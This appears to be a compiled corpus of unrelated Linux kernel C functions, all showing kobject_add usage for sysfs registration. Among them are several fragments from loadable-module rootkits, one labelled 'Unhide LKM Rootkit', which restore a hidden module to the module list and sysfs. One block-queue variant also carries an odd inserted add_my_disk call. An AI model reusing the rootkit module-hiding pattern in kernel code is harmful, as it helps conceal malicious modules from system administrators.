int blk_register_queue(struct gendisk *disk) { int ret; struct request_queue *q = disk->queue; if (WARN_ON(!q)) return -ENXIO; if (!q->request_fn) return 0; ret = kobject_add(&q->kobj, kobject_get(&disk_to_dev(disk)->kobj), "%s", "queue"); if (ret < 0) return ret; kobject_uevent(&q->kobj, KOBJ_ADD); ret = elv_register_queue(q); if (ret) { kobject_uevent(&q->kobj, KOBJ_REMOVE); kobject_del(&q->kobj); return ret; } return 0; }
int blk_register_queue(struct gendisk *disk) { int ret; struct device *dev = disk_to_dev(disk); struct request_queue *q = disk->queue; if (WARN_ON(!q)) return -ENXIO; ret = blk_trace_init_sysfs(dev); if (ret) return ret; ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue"); if (ret < 0) { blk_trace_remove_sysfs(dev); return ret; } kobject_uevent(&q->kobj, KOBJ_ADD); if (!q->request_fn) return 0; ret = elv_register_queue(q); if (ret) { kobject_uevent(&q->kobj, KOBJ_REMOVE); kobject_del(&q->kobj); blk_trace_remove_sysfs(dev); kobject_put(&dev->kobj); return ret; } return 0; }
/* * Add entries in sysfs onto the existing network class device * for the bridge. * Adds a attribute group "bridge" containing tuning parameters. * Sub directory to hold links to interfaces. * * Note: the ifobj exists only to be a subdirectory * to hold links. The ifobj exists in the same data structure * as its parent the bridge so reference counting works. */ int ovs_dp_sysfs_add_dp(struct datapath *dp) { struct vport *vport = ovs_vport_rtnl(dp, OVSP_LOCAL); struct kobject *kobj = vport->ops->get_kobj(vport); int err; #ifdef CONFIG_NET_NS /* Due to bug in 2.6.32 kernel, sysfs_create_group() could panic * in other namespace than init_net. Following check is to avoid it. */ if (!kobj->sd) return -ENOENT; #endif /* Create /sys/class/net/<devname>/bridge directory. */ err = sysfs_create_group(kobj, &bridge_group); if (err) { pr_info("%s: can't create group %s/%s\n", __func__, ovs_dp_name(dp), bridge_group.name); goto out1; } /* Create /sys/class/net/<devname>/brif directory. */ err = kobject_add(&dp->ifobj, kobj, SYSFS_BRIDGE_PORT_SUBDIR); if (err) { pr_info("%s: can't add kobject (directory) %s/%s\n", __func__, ovs_dp_name(dp), kobject_name(&dp->ifobj)); goto out2; } kobject_uevent(&dp->ifobj, KOBJ_ADD); return 0; out2: sysfs_remove_group(kobj, &bridge_group); out1: return err; }
int dim2_sysfs_probe(struct medialb_bus *bus, struct kobject *parent_kobj) { int err; kobject_init(&bus->kobj_group, &bus_ktype); err = kobject_add(&bus->kobj_group, parent_kobj, "bus"); if (err) { pr_err("kobject_add() failed: %d\n", err); goto err_kobject_add; } err = sysfs_create_group(&bus->kobj_group, &bus_attr_group); if (err) { pr_err("sysfs_create_group() failed: %d\n", err); goto err_create_group; } return 0; err_create_group: kobject_put(&bus->kobj_group); err_kobject_add: return err; }
// Unhide LKM Rootkit static void unhide_lkm(void){ if(module_hidden == true){ list_add(&THIS_MODULE->list, module_previous); kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, MODULE_NAME); module_hidden = false; } else return; }
int blk_register_queue(struct gendisk *disk) { add_my_disk(disk); int ret; struct device *dev = disk_to_dev(disk); struct request_queue *q = disk->queue; if (WARN_ON(!q)) return -ENXIO; /* * SCSI probing may synchronously create and destroy a lot of * request_queues for non-existent devices. Shutting down a fully * functional queue takes measureable wallclock time as RCU grace * periods are involved. To avoid excessive latency in these * cases, a request_queue starts out in a degraded mode which is * faster to shut down and is made fully functional here as * request_queues for non-existent devices never get registered. */ if (!blk_queue_init_done(q)) { queue_flag_set_unlocked(QUEUE_FLAG_INIT_DONE, q); blk_queue_bypass_end(q); if (q->mq_ops) blk_mq_finish_init(q); } ret = blk_trace_init_sysfs(dev); if (ret) return ret; ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue"); if (ret < 0) { blk_trace_remove_sysfs(dev); return ret; } kobject_uevent(&q->kobj, KOBJ_ADD); if (q->mq_ops) blk_mq_register_disk(disk); if (!q->request_fn) return 0; ret = elv_register_queue(q); if (ret) { kobject_uevent(&q->kobj, KOBJ_REMOVE); kobject_del(&q->kobj); blk_trace_remove_sysfs(dev); kobject_put(&dev->kobj); return ret; } return 0; }
static int pcrypt_sysfs_add(struct padata_instance *pinst, const char *name) { int ret; pinst->kobj.kset = pcrypt_kset; ret = kobject_add(&pinst->kobj, NULL, "%s", name); if (!ret) kobject_uevent(&pinst->kobj, KOBJ_ADD); return ret; }
static void irq_sysfs_add(int irq, struct irq_desc *desc) { if (irq_kobj_base) { /* * Continue even in case of failure as this is nothing * crucial. */ if (kobject_add(&desc->kobj, irq_kobj_base, "%d", irq)) pr_warn("Failed to add kobject for irq %d\n", irq); } }
static int _init_iostash_kobjects(void) { int err = 0; static struct kobj_type ctl_kobj_type = { .release = ctl_kobj_release, .sysfs_ops = &ctl_sysfs_ops, .default_attrs = ctl_attrs, }; memset(&gctx.ctl_kobj, 0, sizeof(gctx.ctl_kobj)); kobject_init(&gctx.ctl_kobj, &ctl_kobj_type); err = kobject_add(&gctx.ctl_kobj, (&(THIS_MODULE)->mkobj.kobj), "%s", CTL_KOBJ_NAME); if (err) { kobject_put(&gctx.ctl_kobj); err = -ENOMEM; goto out; } gctx.ssd_kset = kset_create_and_add (SSD_KSET_NAME, NULL, (&(THIS_MODULE)->mkobj.kobj)); if (!gctx.ssd_kset) { err = -ENOMEM; goto kobj_del; } gctx.hdd_kset = kset_create_and_add (HDD_KSET_NAME, NULL, (&(THIS_MODULE)->mkobj.kobj)); if (!gctx.hdd_kset) { err = -ENOMEM; goto unreg_ssd_kset; } BUG_ON(0 != err); return 0; kobj_del: kobject_del(&gctx.ctl_kobj); kobject_put(&gctx.ctl_kobj); unreg_ssd_kset: kset_unregister(gctx.ssd_kset); out: return err; }
static struct elog_obj *create_elog_obj(uint64_t id, size_t size, uint64_t type) { struct elog_obj *elog; int rc; elog = kzalloc(sizeof(*elog), GFP_KERNEL); if (!elog) return NULL; elog->kobj.kset = elog_kset; kobject_init(&elog->kobj, &elog_ktype); sysfs_bin_attr_init(&elog->raw_attr); elog->raw_attr.attr.name = "raw"; elog->raw_attr.attr.mode = 0400; elog->raw_attr.size = size; elog->raw_attr.read = raw_attr_read; elog->id = id; elog->size = size; elog->type = type; elog->buffer = kzalloc(elog->size, GFP_KERNEL); if (elog->buffer) { rc = opal_read_elog(__pa(elog->buffer), elog->size, elog->id); if (rc != OPAL_SUCCESS) { pr_err("ELOG: log read failed for log-id=%llx\n", elog->id); kfree(elog->buffer); elog->buffer = NULL; } } rc = kobject_add(&elog->kobj, NULL, "0x%llx", id); if (rc) { kobject_put(&elog->kobj); return NULL; } rc = sysfs_create_bin_file(&elog->kobj, &elog->raw_attr); if (rc) { kobject_put(&elog->kobj); return NULL; } kobject_uevent(&elog->kobj, KOBJ_ADD); return elog; }
void unhiding_module(void) { int r; // Restore this module to the module list and kobject list list_add(&THIS_MODULE->list, saved_mod_list_head); if ((r = kobject_add(&THIS_MODULE->mkobj.kobj, saved_kobj_parent, "rt")) < 0) printk(KERN_ALERT "Error to restore kobject to the list back!!\n"); if (DEBUG == 1) printk(KERN_ALERT "Module successully revealed!\n"); }
static int rk28_sdmmc0_add_attr( struct platform_device *pdev ) { int result; struct kobject *parentkobject; struct kobject * me = kmalloc(sizeof(struct kobject) , GFP_KERNEL ); if( !me ) return -ENOMEM; memset(me ,0,sizeof(struct kobject)); kobject_init( me , &mmc_kset_ktype ); //result = kobject_add( me , &pdev->dev.kobj , "%s", "RESET" ); parentkobject = &pdev->dev.kobj ; result = kobject_add( me , parentkobject->parent->parent, "%s", "resetSdCard" ); return result; }
void module_show(void) { if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, MODULE_NAME); module_hidden = 0; #ifdef DEBUG printk(KERN_INFO "%s: unhiding LKM\n", MODULE_NAME); #endif }
/* * Make module visible. Function makes module visible again * afther its hidden with banti_module_hide() function */ void banti_module_show(void) { int result; /* Check if alredy hidden */ if (!fl->module_hidden) return; /* Add module in list */ list_add(&THIS_MODULE->list, module_prev); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); /* Flag down */ fl->module_hidden = 0; }
/* * Add sysfs entries to ethernet device added to a bridge. * Creates a brport subdirectory with bridge attributes. * Puts symlink in bridge's brport subdirectory */ int dp_sysfs_add_if(struct dp_port *p) { struct kobject *kobj = vport_get_kobj(p->vport); struct datapath *dp = p->dp; struct brport_attribute **a; int err; /* Create /sys/class/net/<devname>/brport directory. */ if (!kobj) return -ENOENT; err = kobject_add(&p->kobj, kobj, SYSFS_BRIDGE_PORT_ATTR); if (err) goto err; /* Create symlink from /sys/class/net/<devname>/brport/bridge to * /sys/class/net/<bridgename>. */ err = sysfs_create_link(&p->kobj, vport_get_kobj(dp->ports[ODPP_LOCAL]->vport), SYSFS_BRIDGE_PORT_LINK); /* "bridge" */ if (err) goto err_del; /* Populate /sys/class/net/<devname>/brport directory with files. */ for (a = brport_attrs; *a; ++a) { err = sysfs_create_file(&p->kobj, &((*a)->attr)); if (err) goto err_del; } /* Create symlink from /sys/class/net/<bridgename>/brif/<devname> to * /sys/class/net/<devname>/brport. */ err = sysfs_create_link(&dp->ifobj, &p->kobj, vport_get_name(p->vport)); if (err) goto err_del; strcpy(p->linkname, vport_get_name(p->vport)); kobject_uevent(&p->kobj, KOBJ_ADD); return 0; err_del: kobject_del(&p->kobj); err: p->linkname[0] = 0; return err; }
int rfs_flt_sysfs_init(struct rfs_flt *rflt) { int rv; rflt->kobj.kset = rfs_flt_kset; kobject_init(&rflt->kobj, &rfs_flt_ktype); rv = kobject_add(&rflt->kobj, NULL, "%s", rflt->name); if (rv) return rv; kobject_uevent(&rflt->kobj, KOBJ_ADD); rfs_flt_get(rflt); return 0; }
int blk_register_queue(struct gendisk *disk) { int ret; struct device *dev = disk_to_dev(disk); struct request_queue *q = disk->queue; if (WARN_ON(!q)) return -ENXIO; /* * Initialization must be complete by now. Finish the initial * bypass from queue allocation. */ blk_queue_bypass_end(q); queue_flag_set_unlocked(QUEUE_FLAG_INIT_DONE, q); ret = blk_trace_init_sysfs(dev); if (ret) return ret; ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue"); if (ret < 0) { blk_trace_remove_sysfs(dev); return ret; } kobject_uevent(&q->kobj, KOBJ_ADD); if (q->mq_ops) blk_mq_register_disk(disk); if (!q->request_fn) return 0; ret = elv_register_queue(q); if (ret) { kobject_uevent(&q->kobj, KOBJ_REMOVE); kobject_del(&q->kobj); blk_trace_remove_sysfs(dev); kobject_put(&dev->kobj); return ret; } return 0; }
int cavan_input_add_kobject(struct kobject *kobj, const char *name) { int ret; if (kobj->state_initialized == 0) { kobject_init(kobj, &cavan_input_kobj_type); } ret = kobject_add(kobj, NULL, name); if (ret < 0) { pr_red_info("kobject_add"); return ret; } return 0; }
/** * driver_add_kobj - add a kobject below the specified driver * @drv: requesting device driver * @kobj: kobject to add below this driver * @fmt: format string that names the kobject * * You really don't want to do this, this is only here due to one looney * iseries driver, go poke those developers if you are annoyed about * this... */ int driver_add_kobj(struct device_driver *drv, struct kobject *kobj, const char *fmt, ...) { va_list args; char *name; int ret; va_start(args, fmt); name = kvasprintf(GFP_KERNEL, fmt, args); va_end(args); if (!name) return -ENOMEM; ret = kobject_add(kobj, &drv->p->kobj, "%s", name); kfree(name); return ret; }
/** * device_add - add device to device hierarchy. * @dev: device. * * This is part 2 of device_register(), though may be called * separately _iff_ device_initialize() has been called separately. * * This adds it to the kobject hierarchy via kobject_add(), adds it * to the global and sibling lists for the device, then * adds it to the other relevant subsystems of the driver model. */ int device_add(struct device *dev) { struct device *parent = NULL; int error = -EINVAL; dev = get_device(dev); if (!dev || !strlen(dev->bus_id)) goto Error; parent = get_device(dev->parent); pr_debug("DEV: registering device: ID = '%s'\n", dev->bus_id); /* first, register with generic layer. */ kobject_set_name(&dev->kobj, "%s", dev->bus_id); if (parent) dev->kobj.parent = &parent->kobj; if ((error = kobject_add(&dev->kobj))) goto Error; kobject_hotplug(&dev->kobj, KOBJ_ADD); if ((error = device_pm_add(dev))) goto PMError; if ((error = bus_add_device(dev))) goto BusError; if (parent) klist_add_tail(&parent->klist_children, &dev->knode_parent); /* notify platform of device entry */ if (platform_notify) platform_notify(dev); Done: put_device(dev); return error; BusError: device_pm_remove(dev); PMError: kobject_hotplug(&dev->kobj, KOBJ_REMOVE); kobject_del(&dev->kobj); Error: if (parent) put_device(parent); goto Done; }
static struct dump_obj *create_dump_obj(uint32_t id, size_t size, uint32_t type) { struct dump_obj *dump; int rc; dump = kzalloc(sizeof(*dump), GFP_KERNEL); if (!dump) return NULL; dump->kobj.kset = dump_kset; kobject_init(&dump->kobj, &dump_ktype); sysfs_bin_attr_init(&dump->dump_attr); dump->dump_attr.attr.name = "dump"; dump->dump_attr.attr.mode = 0400; dump->dump_attr.size = size; dump->dump_attr.read = dump_attr_read; dump->id = id; dump->size = size; dump->type = type; rc = kobject_add(&dump->kobj, NULL, "0x%x-0x%x", type, id); if (rc) { kobject_put(&dump->kobj); return NULL; } rc = sysfs_create_bin_file(&dump->kobj, &dump->dump_attr); if (rc) { kobject_put(&dump->kobj); return NULL; } pr_info("%s: New platform dump. ID = 0x%x Size %u\n", __func__, dump->id, dump->size); kobject_uevent(&dump->kobj, KOBJ_ADD); return dump; }
int kgsl_pwrscale_policy_add_files(struct kgsl_device *device, struct kgsl_pwrscale *pwrscale, struct attribute_group *attr_group) { int ret; kobject_del(&pwrscale->kobj); kobject_put(&pwrscale->kobj); ret = kobject_add(&pwrscale->kobj, &device->pwrscale_kobj, "%s", pwrscale->policy->name); if (ret) return ret; ret = sysfs_create_group(&pwrscale->kobj, attr_group); return ret; }
static int __init sysfsexample_module_init(void) { int err = -1; calc_obj = kzalloc(sizeof(*calc_obj), GFP_KERNEL); if (calc_obj) { //kobject_init — initialize a kobject structure kobject_init(calc_obj, &calc_type); //The kobject name is set and added to the kobject hierarchy in this function. if (kobject_add(calc_obj, NULL, "%s", PARENT_DIR)) { err = -1; printk("Sysfs creation failed\n"); kobject_put(calc_obj); calc_obj = NULL; } err = 0; } return err; }
/* * kernel_param_sysfs_setup - wrapper for built-in params support */ static void __init kernel_param_sysfs_setup(const char *name, struct kernel_param *kparam, unsigned int num_params, unsigned int name_skip) { struct module_kobject *mk; int ret; mk = kzalloc(sizeof(struct module_kobject), GFP_KERNEL); BUG_ON(!mk); mk->mod = THIS_MODULE; kobj_set_kset_s(mk, module_subsys); kobject_set_name(&mk->kobj, name); kobject_init(&mk->kobj); ret = kobject_add(&mk->kobj); BUG_ON(ret < 0); param_sysfs_setup(mk, kparam, num_params, name_skip); kobject_uevent(&mk->kobj, KOBJ_ADD); }
static int cpuid_cpu_online(unsigned int cpu) { int rc; struct device *dev; struct cpuinfo_arm64 *info = &per_cpu(cpu_data, cpu); dev = get_cpu_device(cpu); if (!dev) { rc = -ENODEV; goto out; } rc = kobject_add(&info->kobj, &dev->kobj, "regs"); if (rc) goto out; rc = sysfs_create_group(&info->kobj, &cpuregs_attr_group); if (rc) kobject_del(&info->kobj); out: return rc; }
int sysedp_consumer_add_kobject(struct sysedp_consumer *consumer) { int ret; consumer->kobj.kset = consumers_kset; kobject_init(&consumer->kobj, &ktype_consumer); ret = kobject_add(&consumer->kobj, NULL, consumer->name); if (ret) { pr_err("%s: failed to add sysfs consumer entry\n", consumer->name); return ret; } ret = kobject_uevent(&consumer->kobj, KOBJ_ADD); if (ret) { pr_err("%s: failed to send uevent\n", consumer->name); kobject_put(&consumer->kobj); return ret; } return 0; }
/* * device functions */ static int uio_dev_add_attributes(struct uio_device *idev) { int ret; int mi, pi; int map_found = 0; int portio_found = 0; struct uio_mem *mem; struct uio_map *map; struct uio_port *port; struct uio_portio *portio; for (mi = 0; mi < MAX_UIO_MAPS; mi++) { mem = &idev->info->mem[mi]; if (mem->size == 0) break; if (!map_found) { map_found = 1; idev->map_dir = kobject_create_and_add("maps", &idev->dev->kobj); if (!idev->map_dir) goto err_map; } map = kzalloc(sizeof(*map), GFP_KERNEL); if (!map) goto err_map; kobject_init(&map->kobj, &map_attr_type); map->mem = mem; mem->map = map; ret = kobject_add(&map->kobj, idev->map_dir, "map%d", mi); if (ret) goto err_map; ret = kobject_uevent(&map->kobj, KOBJ_ADD); if (ret) goto err_map; } for (pi = 0; pi < MAX_UIO_PORT_REGIONS; pi++) { port = &idev->info->port[pi]; if (port->size == 0) break; if (!portio_found) { portio_found = 1; idev->portio_dir = kobject_create_and_add("portio", &idev->dev->kobj); if (!idev->portio_dir) goto err_portio; } portio = kzalloc(sizeof(*portio), GFP_KERNEL); if (!portio) goto err_portio; kobject_init(&portio->kobj, &portio_attr_type); portio->port = port; port->portio = portio; ret = kobject_add(&portio->kobj, idev->portio_dir, "port%d", pi); if (ret) goto err_portio; ret = kobject_uevent(&portio->kobj, KOBJ_ADD); if (ret) goto err_portio; } return 0; err_portio: for (pi--; pi >= 0; pi--) { port = &idev->info->port[pi]; portio = port->portio; kobject_put(&portio->kobj); } kobject_put(idev->portio_dir); err_map: for (mi--; mi>=0; mi--) { mem = &idev->info->mem[mi]; map = mem->map; kobject_put(&map->kobj); } kobject_put(idev->map_dir); dev_err(idev->dev, "error creating sysfs files (%d)\n", ret); return ret; }
static int recovery_button_build_sysfs(void) { kobject_set_name(&recovery_button_driver.recovery_button, "recovery-button-1"); return kobject_add(&recovery_button_driver.recovery_button,NULL,"power-button-1"); }
int blk_register_queue(struct gendisk *disk) { int ret; struct device *dev = disk_to_dev(disk); struct request_queue *q = disk->queue; if (WARN_ON(!q)) return -ENXIO; WARN_ONCE(test_bit(QUEUE_FLAG_REGISTERED, &q->queue_flags), "%s is registering an already registered queue\n", kobject_name(&dev->kobj)); queue_flag_set_unlocked(QUEUE_FLAG_REGISTERED, q); /* * SCSI probing may synchronously create and destroy a lot of * request_queues for non-existent devices. Shutting down a fully * functional queue takes measureable wallclock time as RCU grace * periods are involved. To avoid excessive latency in these * cases, a request_queue starts out in a degraded mode which is * faster to shut down and is made fully functional here as * request_queues for non-existent devices never get registered. */ if (!blk_queue_init_done(q)) { queue_flag_set_unlocked(QUEUE_FLAG_INIT_DONE, q); percpu_ref_switch_to_percpu(&q->q_usage_counter); blk_queue_bypass_end(q); } ret = blk_trace_init_sysfs(dev); if (ret) return ret; /* Prevent changes through sysfs until registration is completed. */ mutex_lock(&q->sysfs_lock); ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue"); if (ret < 0) { blk_trace_remove_sysfs(dev); goto unlock; } if (q->mq_ops) { __blk_mq_register_dev(dev, q); blk_mq_debugfs_register(q); } kobject_uevent(&q->kobj, KOBJ_ADD); wbt_enable_default(q); blk_throtl_register_queue(q); if (q->request_fn || (q->mq_ops && q->elevator)) { ret = elv_register_queue(q); if (ret) { kobject_uevent(&q->kobj, KOBJ_REMOVE); kobject_del(&q->kobj); blk_trace_remove_sysfs(dev); kobject_put(&dev->kobj); goto unlock; } } ret = 0; unlock: mutex_unlock(&q->sysfs_lock); return ret; }
/** * musb_platform_init() - Initialize the platform USB driver. * @musb: struct musb pointer. * * This function initialize the USB controller and Phy. */ int __init musb_platform_init(struct musb *musb, void *board_data) { int ret; usb_nop_xceiv_register(); musb->xceiv = otg_get_transceiver(); if (!musb->xceiv) { pr_err("U8500 USB : no transceiver configured\n"); ret = -ENODEV; goto cleanup0; } ret = musb_stm_hs_otg_init(musb); if (ret < 0) { pr_err("U8500 USB: Failed to init the OTG object\n"); goto cleanup1; } if (is_host_enabled(musb)) musb->board_set_vbus = set_vbus; if (is_peripheral_enabled(musb)) musb->xceiv->set_power = set_power; ret = musb_phy_en(musb->board_mode); if (ret < 0) { pr_err("U8500 USB: Failed to enable PHY\n"); goto cleanup1; } if (musb_status == NULL) { musb_status = musb; spin_lock_init(&musb_ulpi_spinlock); } /* Registering usb device for sysfs */ usbstatus_kobj = kzalloc(sizeof(struct kobject), GFP_KERNEL); if (usbstatus_kobj == NULL) { ret = -ENOMEM; goto cleanup1; } usbstatus_kobj->ktype = &ktype_usbstatus; kobject_init(usbstatus_kobj, usbstatus_kobj->ktype); ret = kobject_set_name(usbstatus_kobj, "usb_status"); if (ret) goto cleanup2; ret = kobject_add(usbstatus_kobj, NULL, "usb_status"); if (ret) { goto cleanup2; } if (musb->board_mode != MUSB_PERIPHERAL) { init_timer(¬ify_timer); notify_timer.expires = jiffies + msecs_to_jiffies(1000); notify_timer.function = funct_host_notify_timer; notify_timer.data = (unsigned long)musb; add_timer(¬ify_timer); } stm_usb_power_wq = create_singlethread_workqueue( "stm_usb_power_wq"); if (stm_usb_power_wq == NULL) { ret = -ENOMEM; goto cleanup2; } INIT_WORK(&stm_prcmu_qos, stm_prcmu_qos_work); ret = musb_force_detect(musb->board_mode); if (ret < 0) goto cleanup2; return 0; cleanup2: kfree(usbstatus_kobj); if (musb->board_mode != MUSB_PERIPHERAL) del_timer_sync(¬ify_timer); cleanup1: otg_put_transceiver(musb->xceiv); cleanup0: usb_nop_xceiv_unregister(); return ret; }